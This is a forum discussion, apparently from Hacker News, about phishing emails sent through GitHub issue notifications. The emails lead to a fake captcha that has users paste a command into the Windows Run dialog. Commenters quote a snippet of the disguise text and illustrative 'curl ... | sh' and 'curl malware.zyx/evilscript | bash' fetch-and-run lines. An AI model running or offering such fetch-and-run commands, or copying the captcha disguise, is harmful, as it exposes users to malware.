GitHub notification emails used to send malware

It’s a numbers game.

Nobody is perfect. The more features of credibility, most likely there will be a higher percentage of conversions. But not everybody has excellent vision, is not time-pressured, and is not tired/exhausted.

There are lots of conditions that make otherwise difficult fraud targets more easy to trick.

And if it can be done at large scale / automated, then small conversion rates turn into many successful frauds (compromised accounts).

If this was within my first year of owning a GitHub account, I would absolutely fall for this.

It's not much different from setting up your ssh key - something that you have to do; and new users also go through this workflow by copy pasting commands that GitHub sends them.

A few weeks ago someone opened an issue in one of my repos. In under a minute two accounts replied with links to file lockers asking the user to download and try some software to solve their issue. No doubt it was malware. I promptly deleted the comments and reported the accounts to GitHub.

I wouldn’t have fallen for such an obvious ploy, but the original asker seemed like they weren’t particularly technical, judging by the sparse GitHub history and quality of the question. I could see them perhaps falling for that if they were uncritical and too eager to try anything.

Email from a different domain is unfortunately quite common. Citi and PayPal both do it for some emails. Pisses me off every time.

I'm old enough to remember ILOVEYOU. During years after that I have seen millions and millions thrown into educating users not to click on wrong things.

Last month I was in conference where the keynote was from CEO of cyber security company. The whole point of the speech was that we need more money because in some cases more than 80% users still fall into email scams. My very serious question to the speaker was - if after many millions and almost 25 years more than 80% users still click on wrong links, then maybe we do something really wrong?

> GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.

I guess critical thinking of devs and wannabee devs has been softened by all the `curl <script> | bash` installation instructions.

They do. Just after seeing instructions to run this, and complying:

> curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

(Yup, .rs is the ccTLD for the Republic of Serbia, of former SFR Yugoslavia)

> captcha asks you to types command in shell. I have no comment on how naive one must be to do this.

someone who knows computers (like a programmer) might not fall for it, but people who do not know computers, but is dabbling could easily fall for it.

The copied command specifically puts in a "user friendly captcha message" into the end, to overflow the run dialog textbox, so that a user who obeyed the instructions will see something vaguely resembling valid captcha verification:

   # " ''I am not a robot - reCAPTCHA Verification ID: 93752"

It's quite scary that the scammers have put thought and effort into the method of infiltration, because this is "novel" as far as i have heard.

I can understand clicking on the link while not paying attention, but I do wonder how many people who are signed up on GitHub would follow through with pasting this command. I could understand if elderly non technical people might follow up with it, but this one, I wonder what the rate is.

All valid points, but I will say services don't help in this situation - I received an email from @redditmail.com recently, which is real and part of reddit but feels off on first glance.

Couple that with gmail having no way to show the full email address (by default - I know you can hover, etc.), rather than the sender-provided "sender name", and my false-positive rate for at least double checking and confirming the sending domain is kinda high...better that than a bunch of false-negatives of course.

> Red flag #1: email links to a variation of real domain

It's too common, MS also does this, to be a red flag

>GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.

Funnily enough there's at least one legit captcha that has you do this: if you have JavaScript/WASM disabled it gives you the option of running the anti-DDOS proof-of-work in a shell and pasting the result in a textbox.

> Do people really fall for scam like that?

You should put a "voice activated" sticker on a random break room appliance (toaster, water/ice dispenser, microwave, coffee machine, ...).

Don't use strong adhesive if your desk is within hearing distance.

You assume the scammers want everyone to fall for this trick.

The reality is different - they leave these huge red flags so that people who aren’t very bright or careful will fall for it.

That is the same reason why scammers put spelling mistakes in emails - not because they don’t know how to use spellcheck, but because they want to filter out those who would spot these mistakes.

They want to scam careless, gullible, „stupid“ people, not someone who is careful enough to spot security red flags.

  > Do people really fall for scam like that?

Not only does it ask you to copy and paste a command in shell, but Windows apparently warns you that it will run with admin privileges.

Aside from that:

> Nowhere in the email does it say that this is a new issue that has been created, which gives the attacker all the power to establish whatever context they want for this message.

What about the non-user-controlled "(Issue #1)" in the subject line?

Red flag #3: "Github Security Team"

A legitimate GitHub email would never mis-capitalize the company name like that. It would be GitHub, as shown in the footer that the attacker does not control.

OTOH, this is a very common mistake. The article alternates between the correct GitHub and the incorrect Github. So it would be easy to not notice that error.

> Do people really fall for scam like that?

Yes. It wouldn't be a thing otherwise. I know at least two fairly intelligent people, one literally being a Mensa member, who fell for sextortion emails and got their files encrypted.

Scareware is based on social engineering, and is crafted to trigger emotional response, not educated one.

Just to let you know, even github themselves use multiple domains instead of just subdomains of github.com (see githubnext.com).

So, I wouldn't blame the victims here if the service itself does not realize why that is not such a good idea.

re #1: the email could link to a github pages site hosting the same malware...

re #2: it doesn't really have you typing into shell, 'just paste'

Honestly i would have typed commands in shell if "captcha" asked me for it. Just to see the scale of outcome's awfulness.

I'm almost bored enough to just start installing weird malware for research and funsies

Everyone has been trained for years to do this:

curl http://obscure.url?random-string | sh

Had this happen to me over a year ago so I assume reporting it to them did nothing :)

I got a very similar thing: a legit email from PayPal, but it's an invoice and not a quote. And when you login to PayPal the website shows nothing.

Why would paypal email you to call them ? If they want something from you they should either call you or email it to you or show it in their portal.

I'd be surprised if someone looked at it.

>This email honestly was formatted to look like a legit PayPal email,

this is why anything but plain text should be blocked in emails (besides security reasons). anybody with 5 minutes of HTML experience can create "legit looking" emails.

"I could see junior developers falling for this" - I can see all sorts fucking up, not just juniors. It is the way of things.

"I don't think that...". I think that you have to train your troops effectively in what is harmfull.

"Windows" - yes. I have been asked by at least two of my employees to get them away from Windows. I'll do my best. Its been a long running project but I will succeed.

> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?

sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.

Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.

I've started disabling the Run dialog for non-technical users, but unfortunately a GitHub attack targets users who likely have a real use for it sometimes.

The clipboard strategy feels like it should be easy to block too, most scammers just convince people to type a well-obscured URL into the Run dialog manually over the phone.

This captcha is so bad... I'm gonna automate the solving of this captcha so whenever my browser shows me "Press Win+R, CTRL+V <enter>", it automatically runs cmd.exe with the clipboard content so I can get to the site content faster and with no interruption.

Yes, I'm a 10X Windows user.

>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?

You say it's a problem, I say it is a virtue.

We can "root" Windows because we are root, specifically a user in the Administrators group because the first user account configured by Windows Setup is always an administrator account.

This is a virtue. We can do whatever we want with the computer we own and use. This is freedom par excellence that literally every other operating system family today wishes they could do without getting shouted down.

In an era of increasingly locked down operating systems that prevent us from truly owning our computers, administering them, Windows just lets us do that. I hope to god this never changes.

[flagged]

Cloudflare is way more responsive to abuse requests than 95% of country level DNS registrars. Having experience working with both.

I don't know how effective and quick to respond but there is a way to report malware [1]

Extracting from the page

> Which category of abuse to select > Phishing & Malware

https://www.cloudflare.com/trust-hub/reporting-abuse/

> Don't click on links in email.

Not saying you're wrong per se, but isn't it more so summarized with "don't fall for a 'CAPTCHA' that requires you to paste code into the window labeled 'This will run with administrative privileges'?"

This is more so a grumble than a serious comment on security, but agh, it's always bugged me that the metric for failing phishing tests is "clicked on any link in the email" and not, you know, entered credentials into the phish site, or downloaded and opened a file. Like, I get it, it's much easier to teach nontechnical users to simply not click bad links than that other stuff - and browser vulns do exist - but it still vaguely annoys me.

I feel like I've seen countless posts like this one that end in the user entering creds, giving the browser some weird permission, downloading some file (sometimes straight-up an executable), or in this case, running a command. I don't know if I've seen a single one that ends in "and then they clicked the link and it popped a browser 0-day and that was the end of that".

Web browsers are a wide attack surface, yes, but they're also... intended for browsing the Internet. Most people click through links pretty haphazardly as they're doing work or researching a topic. Defense in depth and all, but I feel like a security policy that holds "don't visit any evil websites ever" as a core tenet is pretty flawed.

So how do you not click links to confirm your email for a new account?

Rather one could use Qubes OS and only open links in disposable VMs and never enter info beyond that

Thats basically what I do when I get emails to confirm my email address for a new account

One can't always avoid clicking links can they?

[flagged]

Maybe GitHub had already deleted it as malicious, but the email was already delivered.

Repo owners can also edit the title and text of your Issue as well.

True, but I have worked at companies who employ users that maybe aren't entirely up to speed on the technical details and they have GitHub account's for submitting bug reports. This would very easily fool some of these people.

Technical people might spot this, but that also isn't a free pass for GitHub to not do better here.

The GitHub security alert digest[1] is a real thing. It's a feature of GitHub where they report security vulnerabilities in your project's dependencies. For example, if you use python and you have specified requests library in your requirements.txt, GitHub will send you emails about disclosed vulnerabilities in that library, urging you to upgrade to a higher version where it's fixed.

[1] https://docs.github.com/en/code-security/dependabot/dependab...

Once they introduce that, the texts will become more varied, and links, possibly, too.

There are more possible next steps, which would make creating accounts for spamming more expensive, but they will also inconvenience well-meaning new users.

I suspect that unless the problem of malicious spam from GitHub comments becomes rather serious, acting on the case by case basis may be the correct solution.

It's quite sad that in 2024 that HN commenters still blame the victim, especially when the original author does a great job suggesting small changes that Microsoft can make to make their products safer for their users.

“Curl pipe sh” would like to have a word…

I think you are painting with a broad brush.

You just need a handful of people to fall for it, and a population of a hundred million daily active users on GitHub means there are always a handful of people to trick.

you'd be surprised at the quality of the average dev

My only encounter with this is, that I am annoyed if I open web dev tools on a new browser profile/guest profile, but am interrupted in my workflow because first I have to type "allow pasting" every single time. (Why I do this quite often? To be sure to have a clean state when debugging a web app) And all this, because some people cannot think, before they follow obscure instructions send to them by a untrusted party?

Why can't we have nice things again? Because of abusers yes, but also because of sheep people.

Hard disagree. Developers aren't magically tech wizards, many of them will struggle to install a printer. I've seen one spend fifteen minutes on adding a keyboard layout in Windows last week (granted, the process was very unintuitive).

It's this "I'm a developer, I'm too smart to fall for phishing" mindset that makes developers an excellent target for malware.